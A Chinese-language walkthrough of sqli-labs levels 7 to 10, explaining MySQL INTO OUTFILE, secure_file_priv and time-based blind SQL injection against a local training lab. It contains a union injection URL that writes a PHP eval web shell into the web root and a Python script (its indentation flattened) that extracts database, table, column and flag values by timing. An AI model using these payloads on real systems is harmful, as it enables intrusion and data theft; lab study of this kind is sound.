前置知识点:
1、outfile是将检索到的数据,保存到服务器的文件内:
格式:select * into outfile “文件地址”
示例:
mysql> select * into outfile ‘f:/mysql/test/one’ from teacher_class;
2、文件是自动创建的。
3,读写文件函数调用的限制
因为涉及到在服务器上写入文件,所以上述函数能否成功执行受到参数 secure_file_priv 的影响。,
其中当参数 secure_file_priv 为空时,对导入导出无限制
当值为一个指定的目录时,只能向指定的目录导入导出
当值被设置为NULL时,禁止导入导出功能
这个值可以通过命令 select @@secure_file_priv 查询。由于这个参数不能动态更改,只能在mysql的配置文件中进行修改,然后重启生效。
即:需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。
进入mysql安装目录,找到my.ini 修改里面的secure-file-priv参数
如果发现没有secure_file_priv这个选项,直接再最后添加一个空的即可。
注意:
需要有绝对路径
文件名里路径里必须用\代替/
less7:
可知有三个显示位
根据题目提示使用outfile传入木马http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["shell"]);?>' into outfile 'D:\\phpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\shell.php'--+
最后使用蚁剑连接shell
less8
手工注入方式与5节基本相同
less9
知识点: 基于时间型SQL盲注
注入SQL 代码之后, 存在以下两种情况:
如果注入的SQL代码不影响后台[ 数据库] 的正常功能执行, 那么Web 应用的页面显示正确( 原始页面) 。
如果注入的SQL 代码影响后台数据库的正常功能( 产生了SQL 注入) , 但是此时Web 应用的页面依旧显示正常( 原因是Web 应用程序采取了“ 重定向" 或“ 屏蔽 ”措施)。
产生一个疑问: 注入的SQL 代码到底被后台数据库执行了没有? 即web 应用程序是否存在SQL 注入?
面对这种情况, 之前讲的基于布尔的SQL 盲注很难发挥作用了( 因为基于布尔的SQL 盲注的前提是web 程序返回的页面存在true 和false 两种不同的页面) 。
时间盲注: 界面返回值只有一种,true.无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。这时, 一般采用基于web 应用***响应时间上的差异来判断是否存在SQL 注入***, 即基于时间型SQL 盲注。
所以方法和less5相通,只是不以回显而是时间长短来判断语句的执行情况
找了份大佬的脚本:
import requests
import time
import datetimeurl = "http://localhost/sql-labs/Less-9/?id=1'"def get_dbname():dbname = ''for i in range(1,9):for k in range(32,127):payload = "and if(ascii(substr(database(),{0},1))={1},sleep(2),1)--+".format(i,k)# payload = " and if(ascii(substr(database(),{0},1))={1},sleep(2),1) --+".format(i,k)#if语句里面的sleep(2)为如果注入语句正确浏览器就休眠两秒,也可以和1调换位置(那样就是如果语句错误休眠两秒)time1 = datetime.datetime.now()#获得提交payload之前的时间res = requests.get(url + payload)time2 = datetime.datetime.now()#获得payload提交后的时间difference = (time2 - time1).seconds#time,time2时间差,seconds是只查看秒if difference > 1:dbname += chr(k)else:continueprint("数据库名为->"+dbname)
get_dbname()def get_table():table1 = ''table2 = ''table3 = ''table4 = ''for i in range(5):for j in range(6):for k in range(32,127):payload = "and if(ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit %d,1),%d,1))=%d,sleep(2),1)--+"%(i,j,k)time1 = datetime.datetime.now()res = requests.get(url + payload)time2 = datetime.datetime.now()difference = (time2-time1).secondsif difference > 1:if i == 0:table1 += chr(k)print("第一个表为->"+table1)elif i == 1:table2 += chr(k)print("第二个表为->"+table2)elif i == 3:table3 += chr(k)print("第三个表为->"+table3)elif i == 4:table4 += chr(k)print("第四个表为->"+table4)else:break
get_table()def get_column():column1 = ''column2 = ''column3 = ''for i in range(3):for j in range(1,9):for k in range(32,127):payload = "and if(ascii(substr((select column_name from information_schema.columns where table_name=\'flag\' limit %d,1),%d,1))=%d,sleep(2),1)--+"%(i,j,k)time1 = datetime.datetime.now()res = requests.get(url+payload)time2 = datetime.datetime.now()difference = (time2-time1).secondsif difference > 1:if i == 0:column1 += chr(k)print("字段一为->"+column1)if i == 1:column2 += chr(k)print("字段二为->"+column2)if i == 2:column3 += chr(k)print("字段三为->"+column3)else:break
get_column()def get_flag():flag = ''for i in range(30):for k in range(32,127):payload = "and if(ascii(substr((select flag from flag),%d,1))=%d,sleep(2),1)--+"%(i,k)time1 = datetime.datetime.now()res = requests.get(url+payload)time2 = datetime.datetime.now()difference = (time2-time1).secondsif difference > 1:flag += chr(k)print("flag为->"+flag)
get_flag()
less10
和9相同,单引号改为双引号